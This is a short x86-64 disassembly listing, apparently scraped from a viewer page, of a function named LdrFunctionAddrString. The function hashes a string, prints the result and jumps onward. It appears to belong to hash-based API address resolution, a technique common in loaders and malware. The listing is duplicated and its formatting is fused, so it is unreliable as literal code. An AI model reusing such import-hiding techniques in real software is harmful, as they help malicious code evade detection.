140017640
140017640LdrFunctionAddrString:
140017640push rsi
140017641mov r8l, 1
140017647mov rsi, rcx
14001764apush rbx
14001764bmov rbx, rdx
14001764exor edx, edx
140017650mov rcx, rbx
140017653sub rsp, 56
140017657call HashEx
14001765cmov [rsp+32], rbx
140017661mov r9, rsi
140017664mov r8l, 28
14001766amov [rsp+40], eax
14001766elea rdx, [rip+0x159fb]
140017675lea rcx, [rip+0x13fcc]
14001767ccall printf
140017681mov rcx, rbx
140017684xor edx, edx
140017686mov r8l, 1
14001768ccall HashEx
140017691add rsp, 56
140017695mov rcx, rsi
140017698pop rbx
140017699mov edx, eax
14001769bpop rsi
14001769cjmp 0x1400174f0
140017640
140017640LdrFunctionAddrString:
140017640push rsi
140017641mov r8l, 1
140017647mov rsi, rcx
14001764apush rbx
14001764bmov rbx, rdx
14001764exor edx, edx
140017650mov rcx, rbx
140017653sub rsp, 56
140017657call HashEx
14001765cmov [rsp+32], rbx
140017661mov r9, rsi
140017664mov r8l, 28
14001766amov [rsp+40], eax
14001766elea rdx, [rip+0x159fb]
140017675lea rcx, [rip+0x13fcc]
14001767ccall printf
140017681mov rcx, rbx
140017684xor edx, edx
140017686mov r8l, 1
14001768ccall HashEx
140017691add rsp, 56
140017695mov rcx, rsi
140017698pop rbx
140017699mov edx, eax
14001769bpop rsi
14001769cjmp 0x1400174f0
140017640
Loading..